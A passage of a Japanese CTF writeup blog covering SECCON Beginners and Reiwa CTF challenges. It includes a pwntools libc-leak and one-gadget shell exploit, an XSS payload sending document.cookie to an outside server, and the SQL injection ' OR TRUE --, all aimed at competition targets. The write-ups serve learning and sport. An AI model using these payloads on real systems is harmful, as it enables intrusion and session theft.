s.pos % SIZE + dx[d]; int yy = s.pos / SIZE + dy[d]; if (xx < 0 || xx >= SIZE || yy < 0 || yy >= SIZE) { continue; } vector<vector<int> > pp = s.p; swap(pp[s.pos / SIZE][s.pos % SIZE], pp[yy][xx]); if (visited.find(pp) == visited.end()) { vector<int> mm = s.move; mm.push_back(dm[d]); int new_pos = yy * SIZE + xx; q.push(State(new_pos, pp, mm)); } } } } int main() { int pos = -1; vector<vector<int> > p(SIZE, vector<int>(SIZE)); ifstream ifs("in.txt"); cin.rdbuf(ifs.rdbuf()); for (int i = 0; i < SIZE; ++i) { for (int j = 0; j < SIZE; ++j) { cin >> p[i][j]; if (p[i][j] == 0) { pos = i * SIZE + j; } } } vector<int> ans = solve(p, pos); for (int i = 0; i < ans.size(); ++i) { cout << ans[i] << " "; } cout << endl; return 0; }
これをコンパイルして,以下の Python プログラムで処理する.
from pwn import * import subprocess import sys con = remote('133.242.50.201', 24912) for i in range(1000): print con.recvline() l1 = con.recvline().split(' ') print l1 l2 = con.recvline().split(' ') print l2 l3 = con.recvline().split(' ') print l3 print con.recvline() print con.recvline() p = [ l1[1], l1[3], l1[5], l2[1], l2[3], l2[5], l3[1], l3[3], l3[5], ] print p with open('./in.txt', mode='w') as f: f.write(' '.join(p)) res = subprocess.check_output("./a.out") con.sendline(','.join(res.strip().split(' ')))
何問あるかわからんかったので適当に 1000. 100 だとだめだった気がする.
これを実行するとフラグが取れる.
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Dump
ダウンロードして file してみると pcap であることがわかる.
Wireshark で開くと HTTP 通信がある.どうやら webshell が置いてあってフラグを引っこ抜いてるらしい.
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
のリクエストの応答を抜いてくればよさそう.
ただし,8進数に変換されているので適当にプログラムを書いてゴニョゴニョしてバイナリとして書き出す.
なにかいい方法があるんだろうけど,よくわからんかったので力技でゴミスクリプト書いた(恥ずかしいので載せない).
結局は zip ファイルなので解凍すると jpeg 画像がでてきてその中にフラグが書いてある.
ctf4b{hexdump_is_very_useful
Leakage
パッと見て angr かけたらいけそうと思って以下のどっかで書いた(Google CTF のどれかで angr のサンプルにあったはず)コードを流用して終わり.
import angr import claripy proj = angr.Project('./leakage', load_options={"auto_load_libs": False}) input_size = 0x22 # 4005ff argv1 = claripy.BVS("argv1", input_size * 8) initial_state = proj.factory.entry_state(args=["./leakage", argv1], add_options={angr.options.LAZY_SOLVES}) initial_state.libc.buf_symbolic_bytes=input_size + 1 for byte in argv1.chop(8): initial_state.add_constraints(byte != '\x00') # null initial_state.add_constraints(byte >= ' ') # '\x20' initial_state.add_constraints(byte <= '~') # '\x7e' sm = proj.factory.simgr(initial_state) sm.explore(find=0x4006ae, avoid=0x4006bc) found = sm.found[0] solution = found.se.eval(argv1, cast_to=str) solution = solution[:solution.find("}")+1] print solution
適当に待ってるとフラグが出る.
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation
これも angr に流すだけのゲームだった.以下のサイトを参考に変更しないといけないところだけ変えた.
angrでシンボリック実行をやってみる - ももいろテクノロジー
import angr p = angr.Project('./linear_operation', load_options={'auto_load_libs': False}) addr_main = 0x40cee1 addr_succeeded = 0x40cf78 addr_failed = 0x40cf86 print "main = %x" % addr_main print "succeeded = %x" % addr_succeeded print "failed = %x" % addr_failed initial_state = p.factory.blank_state(addr=addr_main) initial_path = p.factory.path(initial_state) pg = p.factory.path_group(initial_path) e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,)) if len(e.found) > 0: print 'Dump stdin at succeeded():' s = e.found[0].state print "%r" % s.posix.dumps(0)
これもしばらく待ってるとフラグが出る.
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
OneLine
今回一番苦労した問題.もう二度と one-gadget のことは忘れない.
スタック問題ではなく heap が 40 byte 確保されそこに読み書きしている.
そしてなぜかその heap の末尾にリンクされた libc の write のアドレスが書き込まれている.
実行してみるとわかるが,1回目の入力ときに A
だけとか入力するとなにか怪しい文字列が表示される.
You can input text here! >> A A ����Once more again!
まず A
と入力して write のアドレスを拾って,付属されている libc の write の offset を確認して libc base アドレスをリークする.
これで2回目は 32 byte 書き込んだあと,特定のアドレスを書き込むことで libc 内の任意の命令を呼び出せるようになるので,もう勝ったな….という気持ちになってから約5時間溶かしました.
迷走した内容は libc 内の system を呼べばいいが rdi が 1 固定で ROP gadget つんでなんとかするのか,でもスタックがががが,みたいな泥沼です.
結局途中で Linear Operation
なども見つつ調べていたら偶然 one-gadget なるものを知った.
one-gadget は libc 内にあってその命令に飛ばすとシェルがあがる一連の gadget 列らしい.なんだその便利なものは….
ということで以下を使って付属の libc を探索してみた.
GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6
結果は以下のような感じ.
$ one_gadget ./libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
制限があるが, 2つ目は NULL になりそうだなあとおもって採用したらいけた.
from pwn import * context.arch = 'amd64' con = remote('153.120.129.186', 10000) write_offset = 0x110140 system_offset = 0x04f440 con.recvregex('>> ') con.sendline('A') msg = con.recvregex('>> ') libc_base_addr = unpack(msg[32:40]) - write_offset print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40]) payload = 'A' * 32 payload += pack(libc_base_addr + 0x4f322) # one gadget con.sendline(payload) con.interactive()
実行すると以下のようにフラグをとれる.
(CTF) mbp:CTF yuta1024$ python oneline.py [+] Opening connection to 153.120.129.186 on port 10000: Done [*] libc_base_addr = 0x7f91c347e140 [*] Switching to interactive mode $ ls -l total 16 -rw-r----- 1 root oneline 34 May 22 15:59 flag.txt -rwxr-x--- 1 root oneline 8624 May 22 15:59 oneline $ cat flag.txt ctf4b{0v3rwr!t3_Func7!on_p0int3r}
Himitsu
後輩がやってて,ちょっと見てたんだけど Pwn で時間溶かしててあまりみれてなかった問題.
最終的に寝てるときに解法が降ってきてそのとおりにやったら解けた.
[#記事ID#]
みたいにやると他の記事を読み込める.でもその記事がすでに <script>
とか含んでると死ぬ(正確には <
とかだけど).
後輩が同時にやったら回避できそうだけど同じタイトルだとエラーになるから無理,みたいな話をしていた.
先に未来の記事 ID を投稿しておいて,その時間になったらスクリプト仕込んだ記事を投稿すると,でクリアできる.
記事 ID 自体は単純に以下のようなロジックで生成されている(タイムゾーンは Asia/Tokyo になってるので注意).
$created_at = date("Y/m/d H:i"); $article_key = md5($username . $created_at . $title)
user は同じなので分までの時間とタイトルさえわかれば予測可能.
以下のような PHP スクリプトを書いて先に未来の記事 ID を予測して投稿する.
(snip になってるのは適当に自身のサーバアドレスとかいれてください)
<?php date_default_timezone_set("Asia/Tokyo"); $username = "foofoo"; $title = "<script>location.href = 'http://<snip>/?' + document.cookie;</script>"; $created_at = date("2019/05/26 04:37"); $article_key = md5($username . $created_at . $title); var_dump($article_key);
該当時間になったら(上記の場合だと 4:37 になったら)以下の記事を投稿する.
<script>location.href = 'http://<snip>/?' + document.cookie;</script>
するとサーバに以下のようなリクエストがきて admin の セッション ID を抜ける.
xxx.xxx.xxx.xxx - - [25/May/2019:19:37:20 +0000] "GET /?PHPSESSID=029711d08a7b6b3254b4028959f25d5d HTTP/1.1" 200 3520 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36" "-"
あとはこのセッション ID をセットして開くとフラグが書かれた記事がみれる.
まとめ
それなりに解けたが,10位以内に入りたかったなあ….Pwn も全部解きたかったなあ…. いろいろ勉強が足りないところがわかったので,頑張っていきたい.あんまり時間ないけど….
追記1
追記2
チームメンバーの writeup を貼っておきます.
SECCON 令和CTF writeup
SECCON 令和CTF writeup
個人参加限定なので個人で.510 pts で12位でした.
フラグ例は?
warmup で入れるだけ.
SECCON{reiwa}
bREInWAck
brainf*ck なのは明らか.
それぞれの文字をどれに置き換えるかを全通り試す?と考えるも,文字頻度から推測できそう.
まず 。
は .
だろう.出力的にラストだし.あと「
は [
で 」
は ]
っぽい,形的にも.
あとは 令
和
平
成
だけど 令
は開幕現れてるので >
っぽいし, 和
はそのあと連続してるので +
っぽい.
この法則でいくと 平
は <
だし 成
は -
だとエスパーして置換して適当なインタプリンタへ Go.
>++++++++++++++++[>+ ++++>++++>+++++++>++ ++++>++<<<<<-]>+++.> +++++.--..<----.-.>> +++++++++++.>++.<<<+ +++.>++.++++.>>+++++ +++++++.<<<+++++++++ ++++.--------.>----- ---.>>.-----.------. >+.<<++.>>>+++++++++ +.
エスパー成功した. SECCON{bREIn_WAnic!}
零は?
よくある方程式を解く問題.後輩から承諾 CTF で送りつけらたことがあってサクッとコードを書いた.
方程式は sympy
で解く.ただそもそも ? = 0
のケースがあって死ぬっぽくそこは例外処理した.
(末尾のやるきない print は何行くるかわからなかったので適当)
from pwn import * from sympy import * x = Symbol('x') con = remote('zerois-o-reiwa.seccon.jp', 23615) for i in range(100): con.recvline() expr = con.recvline().replace("?", "x") print(i, expr) tmp = solve(Eq(eval(expr[2:-1]),0)) if len(tmp) == 0: ans = 0 else: ans = tmp[0] con.sendline(str(ans)) print con.recvline() print con.recvline() print con.recvline() print con.recvline() print con.recvline() print con.recvline()
100 問解けば良い素直(後輩のは Stage 2 があった).
SECCON{REIWA_is_not_ZERO_IS}
新元号発表
PDF 開くと QR が隠れてて読めない. LibraOffice で開いて上に重なっているやつをどかす.
そのまま読もうとするが読めない. 令和
の形で抜かれてる部分がたりなさそう.
復元か?とおもって画像ひっぱったらなんか裏に 令和
の形で抜かれた QR の部分コードが.
フロントにもってきて,でかい QR コードの 令和
の形で抜かれたところに移動して位置を微調整しながら以下のアプリで読んだ.
「QRコードリーダー for iPhone」をApp Storeで
SECCON{overlay_overlap_overera}
和暦の流れ
バリナリ読んでみると 0x804878f
あたりから入力された文字を1文字づつ cmp していることがわかる.
ざっと眺めてみると SHOWA
をベースになんかゴニョゴニョして比較してる.入力は5文字.
適当な文字を入れて cmp あたりに BP 貼ってレジスタみてると1文字目は R であるらしい.
REIWA じゃないんか…と思ったけど違う.3文字目くらいまで適当に入れてあててみると RAY
であることがわかった.
これってもしかして REIWA をそれっぽく読める感じのものを入れればいいのか…?とおもって RAYWA
を入れると正解.
次が Old era らしいが,どうせ HEYSAY
とかそういう感じだろうと予想して入れると通った.
SECCON{M-T-S-H-R}
reiwaVote
Web だし, SQLi とかじゃろ…と思っていろいろやるもうまくいかない.
登録時に '
を入れてみるとなんかログイン時にバグることがわかった.どうも syntax error でパスワードの MD5 が出ているみたい.
'''
とかしてもだめ.登録されているユーザチェックが走るっぽくまず登録されていることが前提.
とはいえ,ログイン時のパスワードのハッシュ値なんか見えてもなんの意味もない.
ということはこれは登録時になんらかの SQLi ぶっこめば,別ユーザでログインできるみたいななにかなのではと予想する.
適当にユーザ名に誰でもログインできそうな SQLi ぶっこんでみるかーと思い, ' OR TRUE --
で登録.
その ID でログインしているみると見事 shinzo
になれた.令和に投票して結果をみると1位になった.スーパーユーザーかなにか? あとは投票を閉め切れば以下のフラグが出た.歴史を守った!
SECCON{e32afd2cf7b98e41cf70fed}
まとめ
なんか意外と調子よく解けて良かった.
平成最後かつ令和最初の CTF でなかなか良かったので,新元号時代も頑張っていきたい.